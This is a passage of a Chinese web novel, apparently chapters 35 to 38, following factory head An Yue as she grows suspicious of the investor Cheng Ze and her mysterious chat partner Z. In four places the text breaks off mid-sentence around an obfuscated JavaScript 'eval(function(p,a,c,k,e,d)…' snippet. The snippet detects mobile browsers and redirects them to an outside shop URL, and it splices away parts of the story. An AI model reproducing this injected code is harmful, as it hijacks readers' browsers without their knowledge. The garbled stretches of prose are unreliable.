王丽娟想了想:“你别管那么多,安玥心里有数。” 李红英还想说什么,抬头看见程则从旁边走过,叫了她的名字冲她点了点头。她条件反射地回了个笑,等人走远了才反应过来: “他怎么知道我叫什么?我就自我介绍过一次!” 王丽娟没理她,继续算账。 这天傍晚,安玥加班到很晚。 走出车间时,天已经黑透了。厂区里静悄悄的,只有几盏路灯亮着。 程则站在路灯下,手里拿着一个保温杯。 看见她出来,他走过来。 “喝点热水。” 安玥接过保温杯,捧在手里。水温刚好,不烫也不凉。 她抬起头看着他。 路灯的光打在他脸上,把他的眉眼照得很柔和。他就站在那儿看着她,什么都没说。 安玥忽然想问他是不是想追她,但话到嘴边,她又咽回去了。 “程先生,”她开口,“你不用天天来。” 程则看着她。 “我知道。” “那你还来?” 程则沉默了几秒。 “因为我想来。” 安玥:“……” 她低下头,喝了一口热水。 “哎,走吧走吧,送我回去。” 程则笑了。 “好。” 两人并肩走在厂区的小路上。 他们的影子在路灯下前一后。 走到宿舍楼下时,安玥停下脚步。 “到了。” 程则点点头:“早点休息。” 安玥看着他,忽然问:“程先生,你在这里打算待多久?” 程则愣了一下。 “什么?” “你难道一直在这长居?”安玥看着他,“多久?” 程则沉默了几秒。 “三十天。” 安玥挑了挑眉:“这么久?” 程则笑了一下:“久吗?” 安玥没说话。三十天,对一次普通的商业考察来说,确实太久了。 但她没再问。 “晚安,程先生。” “晚安,安玥。” 安玥转身上楼。 走到二楼转角时,她忍不住回头看了一眼。 程则还站在楼下,望着她这扇窗户。 月光把他整个人笼成一团淡淡的影子。 第二天一早,李红英神神秘秘地凑过来。 “安玥,我跟你说个事。” “说。” “昨天傍晚,我路过车间后面那片空地,看见程先生一个人站在那儿。” 安玥等着她说下去。 李红英压低声音:“他站了好久,就那么望着咱们厂区。我本来想过去打招呼,结果听见他自言自语说了一句……” “说什么?” “没听太清,好像感叹了一句四年了啥的。” 安玥手里的笔顿住了。 “你确定有这个词?” “真的,”李红英点点头,“我听得清清楚楚,你说他什么意思?他不是第一次来咱们厂吗?怎么说得好像认识咱们很久似的?” 安玥没有说话。 那天下午,安玥去实验室找林知远。 “林师兄。”安玥推门进去。 林知远回过头,看了她一眼。 “怎么了?” 安玥在他旁边坐下。 “有件事,想问问你。” 林知远等着她说。 安玥斟酌了一下措辞:“你觉得程则这个人,怎么样?” 林知远的手指在桌沿上轻轻敲了一下。 “为什么这么问?” “就是觉得他有点奇怪。”安玥说,“他对咱们厂,好像特别了解。有些事,我没跟他说过,但他就是知道。” 林知远沉默了几秒。 “安玥,你记得我跟你说过,我那个简易的电磁环境监测仪吗?” 安玥点头。 “这几天,那台仪器的读数一直不太正常。”林知远站起身,走到那台仪器前,指着屏幕上的波动曲线,“你看这个。” 安玥凑过去看。 屏幕上的曲线起伏很大,比平时看到的任何一次波动都剧烈。 “这是什么意思?” 林知远看着她,目光很复杂。 “意思是,”他说,“有东西在干扰这个时空的正常运行。” 安玥愣住了。 “什么东西?” 林知远没有立刻回答。他走回桌边,拿起一张纸递给她。 纸上是一张手绘的波形图,下面标注着时间和参数。 安玥看不懂那些数字,但她看得懂林知远的表情。 “林师兄,”她的声音有些发紧,“你想说什么?” 林知远看着她,“安玥,那个姓程的,他的存在方式不正常。” 安玥呼吸一滞,“什么意思?” 林知远没有解释。他的目光里有担心,也有别的什么。 “你小心点。”他说,“有些事,我现在还不能确定。但如果有问题,第一时间告诉我。” 安玥点了点头。 走出实验室时,天已经黑了。 她站在小楼门口,望着厂区里星星点点的灯火。 程则站在车间门口,正在和一个工人探讨着什么。隔着这么远,她看不清他的表情,只能看见一个模糊的轮廓。 那个人,到底是什么来历? 晚上,安玥调出系统面板,点开和Z的对话框。 她打字:“在吗?” 发出去后,她等着。 五分钟后。 Z的头像终于亮了。 “在。” 安玥盯着这个字,她想问的问题很多:你在哪?你在做什么?你有没有来过我这边?你认不认识一个叫程则的人?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216390|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但她还是没有问出口。 “没事,就是问问。” Z回复:“那早点休息。” “你也是。” 第二天早上,安玥刚到厂门口,就看见程则站在那里,手里还是拎着那个纸袋。 “早,安厂长。”程则把纸袋递给她。 安玥走过去,接过纸袋看着他。 程则被她看得愣了一下:“怎么了?” “程先生,”安玥开口,“你是不是想追我?” 程则的表情楞了一秒,随即笑得有点无奈,有点玩味,如果安玥没看错的话,还有一点不太好意思。 “这么直接?”他说。 安玥没笑:“你先回答我。” 程则看着她,目光从她脸上慢慢滑过,最后停在她眼睛上。 “是。”他说,“我想追你。” 这回轮到安玥愣住了。 她没想到他承认得这么痛快。 程则往前走了半步,离她近了一点。 “安玥,”他叫她的名字,“从第一次见你,我就想追你。” 安玥盯着他。 他脸上带着一点笑,眼神却很认真。 她想起林知远昨天说的话,想起李红英转述的那句话,想起系统里那个陪她聊了四年的人。 “程先生,”她开口,声音很平静,“我们才见过几次?” 程则没说话。 安玥看着他,“三次。你就想追我?” 程则迎着她的目光,“是。” “为什么?” 程则沉默了几秒。 “因为,”他说,“我觉得认识你很久了。” “程先生,”安玥打断他:“你知道这听着像什么吗?” 程则等着她说下去。 “像杀猪盘……”说到这里安玥意识到这个词在这个年代还没出现,于是换了个词语:“就是感情骗子。” 程则愣了一下,然后笑得肩膀都抖了一下。 “杀猪盘?”他重复这三个字,好像第一次听见似的,“安玥,你知道时域资本的资金规模吗?” “不知道。”安玥说,“也不想知道。” 程则看着她,目光里多了一点别的东西。 “你不信我。” “当然不信。” 她往前走了一步,离他近了一点。 “程先生,我是个做生意的人。”她说,“四年,从摆地摊卖墨水做到现在。你知道这四年我学会的最重要的事是什么吗?” 程则没说话。 “天上不会掉馅饼。”安玥说,“对我好的人,一定有所图。” 她看着他,“你图什么?” 程则沉默了。 “安玥,”他终于开口,声音比刚才轻了一点,“如果我说,我什么都不图,你信吗?” 安玥摇摇头。 “你不信。”他替她说了。 “对。”安玥承认。 “那行,”程则点了点头,“你慢慢查。” 安玥挑眉:“查什么?” “查我。”程则看着她,“查时域资本,查我的背景,查我为什么对你好。查到你觉得安全为止。” “我等你。” 安玥盯着他,她忽然有点看不透这个人了。 “程先生,”她开口,“你到底是什么人?” 程则看着她,“一个想追你的人。” 安玥没说话。 程则往后退了一步,拉开距离。 “早餐趁热吃。”他指了指她手里的纸袋,“今天有新口味。” 说完,他转身走了。 安玥低头看了一眼手里的纸袋。 里面是豆沙包。 可她喜欢吃豆沙包这件事,连她朋友们都不知道。 36. 第 36 章 精时电子的新园区在十一月初正式启用。 六栋灰白色楼房,最高的那栋六层,楼顶立着四个红字:精时科技。园区正门还没完全修好,施工队赶在年会前拆了脚手架,留了一地水泥印子没来得及清。 省里来了领导剪彩,市里来了领导讲话,就连安玥的母校省城母校都来了领导带着学生们参观。 安玥站在台上,穿一件藏蓝色呢子大衣,妆容精致。 “精时电子自创立以来——” 她念着念着,低头看了眼稿子,抬头直接跳过:“谢谢大家。开饭在咱们园区食堂,十二点准时开席。” 台下响起一片笑声。李红英和张秀兰在人群里使劲鼓掌,王丽娟举着相机咔嚓咔嚓按快门。 剪彩结束,来宾散去。安玥踩着满地红纸屑往回走,程则不知道什么时候跟了上来。 “稿子写得挺好,怎么不念完?” 安玥斜他一眼:“你倒是来得勤。今天又不是投资活动,你来干什么?” “路过。”程则说。 “从省城路过到开发区?”安玥停下脚步,“你路过得挺远。” 程则笑了一声,没接话,从大衣口袋里掏出个巴掌大的东西递过来。 黑色外壳,比随身信使薄一半,屏幕占了正面一大半。安玥接过来翻来覆去看了两眼,抬头看他:“什么东西?” “样品。”程则说,“我找人做的。” 安玥盯着手里的东西,没说话。 “电池超长待机。”程则继续说,“重量比你那个轻四十克,成本应该能压到——” “你到底什么人?”安玥打断他。 程则看着她,目光里有点无奈:“我说过很多次了,投资人。” “投资人帮我做产品研发?” “我想投资你的企业,关心一下技术方向,不正常吗?” 安玥把那东西塞回他手里,继续往前走:“不正常。你比我自己的技术员还清楚我要什么。” 程则跟在后面,声音不高不低:“因为我认真研究过你。” 安玥脚步顿了一下。 “你每个产品迭代的方向,你团队的技术路线,你市场布局的逻辑。”程则说,“我研究过当然知道你想要什么。” 前面就是食堂大门,里头已经传出来杯盘碗筷的响动。安玥站在台阶上回头看他。 “程则,你到底图什么?” 他站在台阶下,逆着光,看不清表情。过了两秒才开口:“我说过了,你也知道的。” 安玥盯着他看了半天,转身推门进去。 身后传来程则的声音:“你们年会我能来吗?” “不能。” “那我蹭饭。” 年会当晚,食堂两层的所有桌子都摆满了。 精时电子的主要人员把食堂塞得满满当当。李红英和李秀兰负责张罗座位,她们用喇叭不停喊着:“陈卫国你到那边去张罗!吴建设去那个桌子招呼好大家!哎给研究部的再留两桌!” 安玥被安排在主桌,左手边是林知远,右手边空着一个位置。 她坐下的时候看了一眼林知远。他正低头看桌上的菜单,感觉到目光,侧过脸来。 “怎么了?” “没事。”安玥收回视线。 林知远没接话,继续看菜单。 “这谁?”安玥指着空位问一旁的李红英。 李红英眼神飘了一下:“那个……程总说他来蹭饭。” “李红英!” “他说他给咱们拉过投资!他说——”李红英缩着脖子,“他说你让他来的……” 安玥深吸一口气:“我没让他来。” “那我现在去撵?” 门帘一掀,程则走进来,手里拎着两瓶酒。他扫了一眼就找到安玥这桌,径直走过来。 他脚步一顿,看到了安玥左手边的林知远。 那个空着的位置在安玥右手边,走过去需要经过林知远身后。程则的目光在林知远身上落了落,又移到安玥脸上。 安玥放下茶杯,早已换上一副笑眯眯的表情,她冲他点了点头:“程总,这边。” 程则绕过去,在那个空位上坐下,把酒往桌上一放。他脸上挂着笑,跟没事人一样冲安玥说:“安厂长,蹭顿饭,不介意吧?” 安玥看着他,他看着她,林知远看着这两个人。 周围几桌的员工已经开始交头接耳。 李红英赶紧笑呵呵打圆场:“来者是客,来者是客。程总对咱们精时有帮助,坐坐坐。” 程则笑笑点头,自然地拿起筷子。 安玥余光扫了扫林知远。他好像什么都没发生,端起茶杯喝了一口。 酒过三巡,菜过五味。李红英那张桌子最先开始闹腾——她负责的第三季度超额完成任务,被安玥在会上点名表扬过,几个小姑娘小伙子轮番敬她酒。 李红英来者不拒,红的白的掺着喝,脸蛋红扑扑的。 王丽娟在旁边劝:“少喝点,明天还有事。” “明天元旦!”李红英一挥手,“放假!不用上班!” 又是一阵哄笑。 安玥这桌气氛有点微妙。生产主任跟几个老同志聊当年的政策,林知远偶尔搭几句话,程则慢条斯理吃菜,时不时抬眼看看安玥。 安玥低头吃菜,假装感觉不到那两道视线。 一道来自左边,一道来自右边。 八点多,食堂里气氛正热。有人开始起哄让李红英唱歌,李红英不唱,被人灌了三大杯。她摇摇晃晃站起来,说要上厕所,走到安玥这桌旁边,脚下一绊,直接趴安玥肩膀上了。 “安玥——”她拖长了声音,“我跟你说个秘密——” 安玥扶住她:“你喝多了。” “没多!”李红英抬起头,眼神涣散地扫了一圈,忽然定格在林知远身上。 林知远正低头跟旁边人说话,没注意这边。 李红英凑到安玥耳边,声音大得整桌都能听见:“安玥,你知道林师兄为啥一直不找对象不?” 全场安静。 几个正在划拳的停下了,正在敬酒的端着杯子站着,正在聊天的不聊了。所有人的目光齐刷刷看向李红英,又顺着她的视线看向林知远。 林知远握着茶杯的手顿住。 李红英浑然不觉,继续大着舌头说:“他心里有人!藏了好几年了!” 安玥头皮一麻。 王丽娟第一个反应过来,站起来拉李红英:“喝多了喝多了,我送她去休息——” “我没说完!”李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223451|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红英挣扎着,“那个人就是——” “李红英!”安玥提高声音。 李红英被她这一嗓子喊得愣住了,眨了眨眼,看看安玥,又看看林知远,好像忽然意识到自己说了什么,嘴巴张了张,没再出声。 王丽娟趁机把她拉走了。 食堂里还是一片死寂。安玥能感觉到所有人的目光在她和林知远之间来回扫。她端起茶杯喝了一口,她感觉到右边的视线。 程则端着茶杯,目光从她脸上移到林知远脸上,又移回来。他脸上没什么表情,就那么看着,像在确认什么。 安玥放下茶杯,清了清嗓子,“那个——继续吃,继续吃。李红英喝多了胡说的。” 没人动。 旁边林知远忽然站起来。 他端着酒杯,转身面向安玥。桌上的人都停了筷子看过来。 “安玥,这杯敬你。” 安玥愣了一下,放下筷子站起来。 林知远看着她,目光很平静,话却是对着酒杯说的:“四年了,精时从几个人到上百人,从小楼到园区,不容易。” 安玥端起自己的杯子:“林师兄客气了,是大家一起——” “我敬你。”林知远打断她,“不是敬厂长,是敬你这个人。” 他举起杯子,目光从安玥脸上移开,落在她身后某个方向,那里坐着程则。 “希望你能远离一切不好的人、不好的事,”林知远说,“过上自己想要的生活。” 安玥端着杯子,没接话。 林知远收回视线,一仰头,把酒干了。 周围安静了两秒,然后响起稀稀拉拉的掌声。 安玥把酒干了,放下杯子,余光扫向旁边。 程则端着茶杯,正在慢慢喝茶。他脸上没什么表情,但目光在林知远身上停了一瞬,又收回来。 林知远坐下去继续夹菜,好像什么都没发生。 安玥也坐下。 气氛有点怪。周围的人看了她一眼也没敢多问,继续聊项目的事。 过了大概五分钟,程则站起来。 他端着酒杯,走到安玥面前。 桌上的人又停下来。 程则站在那里,脸上带着点笑,目光落在安玥身上。 “安厂长,”他说,“我也敬你一杯。” 安玥站起来。 程则举了举杯子:“刚才那位林师兄说得对,这四年你不容易。我虽然来得晚,但也有所耳闻。” 他得目光从安玥脸上移开,落在她身后的林知远身上。 “希望明年我们能一起,”他说,“为共同的目标一起努力。” 他收回视线,看着安玥。 “敬你,敬精时,敬——那些该来的人,都来对了时候。” 他一仰头,把酒干了。 安玥看着他,又看看自己手里的杯子,也干了。 “今天这是怎么了?敬酒都要排队?来来来,我也敬大家一杯——” 气氛重新热起来。 安玥坐下,余光扫了一眼林知远。 林知远端着一杯茶,正在慢慢喝。他的目光越过杯子,落在程则身上,停了两秒,然后收回来。 程则正跟旁边的人说话,脸上带着笑,好像刚才什么都没发生。 37. 第 37 章 年会散场已经快十点。 员工们三三两两往外走,有人喝多了被架着,有人还在约着去宿舍接着喝。食堂里杯盘狼藉,几个后勤的阿姨在收拾桌子。 安玥站在门口送人。 研究部那拨人出来,林知远走在最后,经过安玥身边时脚步顿了一下。 “她喝多了。”林知远说。 安玥点点头:“我知道。” 林知远没再说什么,继续往前走。走了几步又回头:“晚上冷,别站太久。” 安玥又点点头。 林知远转身走了。 最后出来的是程则。他手里还拎着那两瓶未开封的汽水。 “蹭完饭了?”安玥问。 “蹭完了。”程则走到她旁边,顺着她的视线看向林知远离开的方向,“不找他?” 安玥撇他一眼:“找他干嘛?” 程则张了张嘴,没说话。他站在路灯下,半边脸被光照亮,半边脸隐在阴影里。 “我送你回去。” “不用。” “你回去那段路没灯。” 安玥转头看他:“你怎么知道那段路没灯?” 程则顿了一下:“你告诉过我。” “我没告诉过你。” “那你告诉过谁?” 安玥站在原地没动。 程则走出去几步,回头看她:“不放心我?” “不放心。” 他笑了一声,走回来,把手里的汽水递给她:“拿着。万一我对你不轨,你拿这个砸我。” 安玥低头看了看那瓶汽水,又抬头看他。 程则已经转身往前走。 安玥在原地站了两秒,跟了上去。 开发区这条路确实没灯。 两边是农田和在建的厂房,白天车来车往,晚上安静得只剩风声。月亮倒是挺亮,在地上铺了一层银白。 程则走在她左边,不近不远的距离,刚好能看清轮廓。 两人走了一段,谁都没说话。 安玥忽然开口:“李红英那话……” “什么话?” “就林师兄那事。”安玥顿了顿,“她喝多了胡说的。” 程则应了一声。 又走了一段,安玥说:“林师兄就是林师兄。我们一起创业,一起走到现在。没别的。” 程则转头看她:“你解释这个干什么?” 安玥噎了一下。 对啊,她解释这个干什么? 程则没再追问。他抬起头看了看月亮,说:“今晚月亮挺亮。” “嗯。” “你宿舍的窗户能看见月亮吗?” 安玥停下脚步,转头看他:“你到底想说什么?” 程则也停下来,站在几步之外。月光把他的眉眼照得比平时看着柔和一些。 “我有个朋友。”他说,“他住的地方看不见月亮。” 安玥愣了一下。 程则继续说:“他跟我说过,他特别想亲眼看看月亮。不是通过屏幕,不是通过数据,是真正的挂在天上的月亮。” 安玥失笑:“怎么会有这种地方……” “后来我每次看见月亮,就会想起他。”程则看着她,“想告诉他,今晚月亮挺亮的。” 风从田野那边吹过来,带着凉意,安玥忽然不知道该说什么。 安玥的住处——厂区公寓就在前面不远,一楼那间窗户亮着灯。 安玥走过去,在门口停下,掏出钥匙。她回头看了一眼,程则站在几米外,没有跟过来。 “到了。”他说。 安玥点点头,推开门。 身后传来他的声音:“安玥。” 她回头。 程则站在月光里,双手插在大衣口袋里,脸上带着一点笑。 “新年快乐。” 安玥握着门把手,看了他两秒。 “新年快乐。” 门关上。 程则在原地站了一会儿,转身往回走。走出去十几步,他停下脚步,抬头看了看月亮。 他站了一会儿,继续往前走,身影融进夜色里。 安玥回到公寓,她把汽水放在桌上,脱了大衣,在床上坐下。 月光从窗户里透进来,她看着那道光,想起程则刚才说的话。 她调出系统面板,看了一眼Z的头像。 还是暗的。 上次他说要离开一段时间一直到现在。她发过几条消息,他回过两次,都是简单的“在”或者“忙”,然后头像又暗下去。 她盯着那个灰暗的头像看了很久,最后还是没点开对话框。 关掉系统,她站起来,走到窗边。 月亮挂在天上,又圆又亮。 她忽然想起Z问过她很多次“那边天气怎么样”、“晚上能看到星星吗”、“冷不冷”。那时候她以为他只是好奇,现在想想,那些问题后面,好像藏着别的东西。 风从窗户缝里钻进来,有点凉。 她关上窗,拉上窗帘躺回床上。 明天是元旦,新的一年。 楼下忽然响起一阵笑声,是几个没回去的员工,说着明天去哪玩、后天吃什么。声音渐渐远了,消失在夜色里。 元旦那天早上,安玥被李红英的喊声吵醒了。 “安玥!安玥!快起来!出大事了!” 安玥从被窝里爬起来开门,眯着眼睛看李红英举着一张报纸冲进来。王丽娟跟在后头,一脸“我没拦住她”的表情。 “你看!”李红英把报纸拍在她面前。 《经济日报》头版,标题占了半个版面:《从校办小厂到行业黑马——精时科技引领国内便携通信设备新潮流》。 安玥坐起来,接过报纸仔细看了一遍。 “这记者上个月来采访过,”她说,“没说会上头版啊。” “你看看落款!”李红英指着版面右下角,“这个报社社转载诶!这是要全国发行的!” 安玥愣了一下。 王丽娟把搪瓷缸递过来:“先喝口水。刚才厂办打电话来,说省里也来电话了,问咱们下周有没有时间去首都做个汇报。” 安玥端着缸子,看着报纸上那几个字,半天没说话。 接下来几天,精时科技园的电话就没断过。 省里的、京城的、兄弟省份的、行业协会的、科研院所的……李红英专门安排了两个小姑娘接电话。 安玥的办公桌上堆满了邀请函:行业论坛、技术交流会、企业家座谈会、电视台专访、杂志封面拍摄。 王丽娟抱着一沓文件进来,往桌上一放:“这是今天刚到的。还有三份传真在路上了。” 安玥翻了翻最上面那份,抬头看她:“咱们什么时候变成香饽饽了?” “你自己不知道?”王丽娟推了推眼镜,“上周京城那个展销会,邮电系统当场签了两万台的意向。昨天《科技报》又发了一整版——” 她笑着对安玥说:“安玥,你现在不是安厂长了。” 安玥抬头看她。 “省里开会的时候,领导介绍你,说的是‘著名青年企业家’。”王丽娟说,“我听得真真的。” 安玥把手里的文件放下,靠在椅背上,看着天花板。 过了两秒,她忽然问:“研究部那边怎么说?” “林师兄带着人在赶新一代的样机。”王丽娟说,“前天晚上熬到三点,昨天我让食堂炖了鸡汤送过去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223452|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安玥点点头,没再问。 王丽娟走到门口,又回头:“对了,程先生上午来过。” 安玥坐直了。 “他没进来,就在园区门口站了一会儿,然后走了。”王丽娟说,“李红英问他怎么不进来,他说‘路过看看’。” 安玥沉默了几秒。 “知道了。” 很快,精时科技发布了新一代产品。 名字叫“精时-1型个人数据终端”。比巴掌小一圈,屏幕能显示八行字,带一个简易的日程管理功能和一百条信息的存储空间。最关键的是,它可以通过电话线联网——虽然只是最基础的拨号连接,但在国内这可是头一份。 发布会那天,来了三百多人。会场坐不下,有人站着,有人蹲在过道里。 安玥站在台上,身后是一块巨大的手写板,上面画着产品的结构示意图。她没有PPT,没有演讲稿,就拿着那台样机,从头讲到尾。 “——这个功能,我们叫它‘电子备忘录’。你可以把每天要做的事记进去,到点了它会提醒你。” 台下有人举手:“安总,这个技术是你们自己研发的吗?” 安玥看向台下某处。 “是我们研究部林知远工程师带队攻关的。”她说,“前后用了八个月,废了十七版方案。” 会场里响起一阵掌声。 发布会结束,来宾散去。安玥站在会场门口送人,握手、合影、签字,脸都笑僵了。 最后一个离开的是个戴眼镜的中年人,递给她一张名片:邮电部数据通信局,副总工程师。 “安总,”他说,“下个月首都有个通信技术研讨会,部里牵头,想请你来做主题发言。” 安玥接过名片,看了一眼。 “我可以带技术团队去吗?” “当然。”中年人笑了。 那天晚上,安玥回到公寓已经快十一点。 她洗了把脸,在床上坐下,忽然觉得浑身发酸。发布会准备了半个月,今天站了一整天,笑了一整天,说了不知道多少话。 窗外的月亮很亮。 她看着月亮发了会儿呆,调出系统面板。 Z的头像亮着。 安玥愣了一下。 她已经习惯了那个灰暗的头像,每天点开看一眼,然后关掉。今天它亮着,她反而不知道该怎么办。 对话框里跳出消息: “今天忙么?” 安玥盯着那几个字,手指悬在屏幕上。 几个月了,这是他第一次主动发消息。 她打字:“新产品发布。” “顺利吗?” “还行。” 那边沉默了几秒。 然后屏幕上跳出一行字:“你有没有喜欢的人?” 安玥的心跳漏了一拍。 她打字:“怎么问这个?” 那边回复得很快:“闲聊。” 安玥盯着这两个字,忽然有一种奇怪的感觉。 她想起程则的眼睛,想起Z的对话框,想起那种被注视着的感觉。 那两种感觉一模一样。 她打字:“你是不是在我身边?” 刚发出去,她就后悔了。 这话太蠢了。隔着几百年,怎么可能。 她手忙脚乱地撤回,但屏幕上已经跳出Z的回复: “为什么这么问?” 安玥盯着那五个字,手指悬在屏幕上,打了一行字,删掉,又打一行,又删掉。 最后她什么都没发,关掉系统,叹了口气。 过了很久,她抬起头,又调出系统。 Z的头像还亮着。 对话框里多了一条消息:“晚安。” 38. 第 38 章 第二天下午,程则出现在精时科技园。 他没去找安玥,直接去了研究部那栋楼。 林知远的实验室在二楼最里面,门口挂着牌子:研究一部主任室。 程则敲了敲门。 “请进。” 程则推门进去。林知远坐在工作台前,手里拿着块电路板,正对着光看。听到脚步声,他抬起头,看到来人,手里的电路板顿了一下。 “程总。”林知远放下板子,站起来,“有事?” 程则关上门,走到工作台对面,在一张椅子上坐下。 “聊聊。”他说。 林知远看着他,没说话。 程则从大衣口袋里掏出个东西,放在桌上。 “这个东西,”程则说,“你觉得怎么样?” 林知远拿起来看了看,翻到背面,又翻回来,放下。 “比我做的好。” 程则点点头。 “用这个时代的元件,做不出来。”林知远说。 程则迎着他的目光,没说话。 两人对视了几秒。 程则先开口:“你和安玥认识多久了?” “四年多。”林知远说,“从她大一那年开始。” 程则应了一声。 “你们平时聊得多吗?” 林知远看着他,忽然笑了一下。 “程总,”他说,“你想问什么直接问。” 程则靠在椅背上,看着他。 “你喜欢安玥?” 林知远的睫毛动了一下。 沉默持续了几秒。 “和你一样。”林知远说。 程则等着他往下说。 林知远却没继续往下说,他直白地问:“程总,你到底是什么人?” “你心里有答案。” 林知远沉默了几秒,“你不属于这里。” 程则没否认。 “那你来干什么?”林知远问。 程则看着他,“来找她。” 林知远盯着程则的眼睛,“你是Z?” 程则没有回答。 林知远站起来,走到窗边,背对着他。 研究部的小楼正对着园区大门,能看见来来往往的人。有几个年轻技术员抱着纸箱走过,边走边讨论着什么。 “她知道吗?”林知远问。 “不知道。” 林知远转过身,看着他。 “那你想怎么样?就这么看着她,永远不告诉她?” 程则站起来,走到窗边,和他并排站着。 “告诉她,”程则说,“然后呢?” 林知远没说话。 “她在这边有她的事业,有她的朋友,有她的生活。”程则的轻笑一声,“我告诉她我是谁,让她怎么办?” 林知远盯着他看了几秒,“那你应该离她远点。你在她身边,只会让她更危险。” 程则转头看他,“确实,你和我的存在,只会让世界规则的排异反应更加强烈。” 林知远愣了一下,声音冷下来,“你监测过她?” “我只是在关注她。” 林知远的手握成拳,他上前一步,“我不一样,我是没有选择!而你有!” 程则沉默了几秒。 “忍不住。” 林知远愣了一下。 程则靠在窗边,“四年了。隔着屏幕看她,听她说话,等她回消息。” 他顿了顿。 “我想过来。”他说,“哪怕一眼。” 林知远没说话。 “我知道不该来。”程则继续说,“来了可能会害了她。但——” “但你还是来了。”林知远说。 程则没回答。 林知远走到工作台前,拿起那块电路板,对着光看。 “这东西,”他说,“是你从那边带来的?” 程则走过来,站在他对面。 “材料是这边能找到的,工艺是按这边能实现的。” 林知远抬起头。 “你给我看这个,什么意思?” 程则迎着他的目光。 “你得把她护好了。”他说,“我不在的时候。” 林知远握着电路板的手紧了一下。 “什么意思?” “我不能一直待在这边。”程则说,“那边还有事。下次过来,不知道什么时候。” 林知远盯着他。 “你就这么走了?” 程则没说话。 “她怎么办?”林知远的声音有点哑,“你让她一个人等着?等一个不知道什么时候回来的人?” 程则低下头。 过了几秒,他抬起头,看着林知远。 “她心里那个人,不是我。” 林知远愣住了。 程则看着他,苦笑一下,“她心里那个人是Z。” 林知远张了张嘴,没说出话。 “我每天给她发消息,”程则说,“我陪她聊了四年。我知道她喜欢什么、讨厌什么、害怕什么、想要什么。但——” “但她喜欢的那个人是Z,不是我。” 林知远着他,“你告诉她了?” “没有。” “那你怎么知道?” 程则笑了一下没回答。 两个人沉默了一阵。 程则先开口,“行就这些了,我走了。” 林知远点点头。 程则走到门口,手放在门把手上,停住了。 “林知远。” 林知远看着他。 “年会那天,”程则背对着他,“你说那些话,我知道是故意的。” 林知远没说话。 “你想让她知道,你等了四年。”程则说,“你想让她知道你心里有人。哪怕她不选你,你也想让她知道。” 林知远低下头。 程则转过身,看着他。 “我懂。”他说。 林知远抬起头。 两人对视了几秒。 “她挺不容易的。”程则说,“多帮帮她。” 林知远点点头。 程则推开门,走出去。 门在身后关上。 那天晚上,李红英鬼鬼祟祟地溜进安玥的公寓。 安玥正躺在床上看书,见她进来,把书放下:“怎么了?” 李红英凑过来,压低声音:“我跟你说个事。” 安玥看着她。 “今天下午,”李红英说,“程先生来了。” “我知道。” “他去研究部了。” 安玥顿了一下:“去研究部正常,他不是一直对技术感兴趣吗?” “他在林师兄的实验室里待了半小时!”李红英瞪大眼睛,“半小时!出来的时候两人脸色都挺正常的,但是——” 她顿了顿,凑得更近:“我后来去给林师兄送材料,他问我了好多奇怪的问题。” 安玥坐起来:“什么问题?” 李红英掰着手指头数:“‘程则和安玥认识多久了’‘他们平时见面多吗’‘程则最近来得勤不勤’——安玥,你说他问这些干什么?” 安玥没说话。 “还有更奇怪的!”李红英压低声音,“他问我,‘安玥平时提起程则的时候,什么表情’。” 安玥愣了一下。 “我怎么知道什么表情?”李红英说,“我说‘就那样呗,跟提起别人一样’。林师兄听了,点点头,然后就不说话了。” 安玥靠在床头,看着天花板。 李红英在旁边嘀咕:“他打听这个干什么?程先生又不是他手下的技术员,他关心这个干嘛……哎你说,林师兄是不是——” “红英。”安玥打断她。 李红英闭上嘴。 “你回去吧。”安玥说,“明天还有事。” 李红英张了张嘴,想说什么,又咽回去。她站起来,走到门口,回头看了一眼安玥。 安玥还靠在床头,盯着天花板,不知道在想什么。 李红英轻轻关上门。 屋里安静下来。 安玥躺了一会儿,调出系统面板。 Z的头像暗着。 她盯着那个灰暗的头像,想起昨晚那两句话。 她打字:“在吗?” 等了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230750|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五分钟,没有回复。 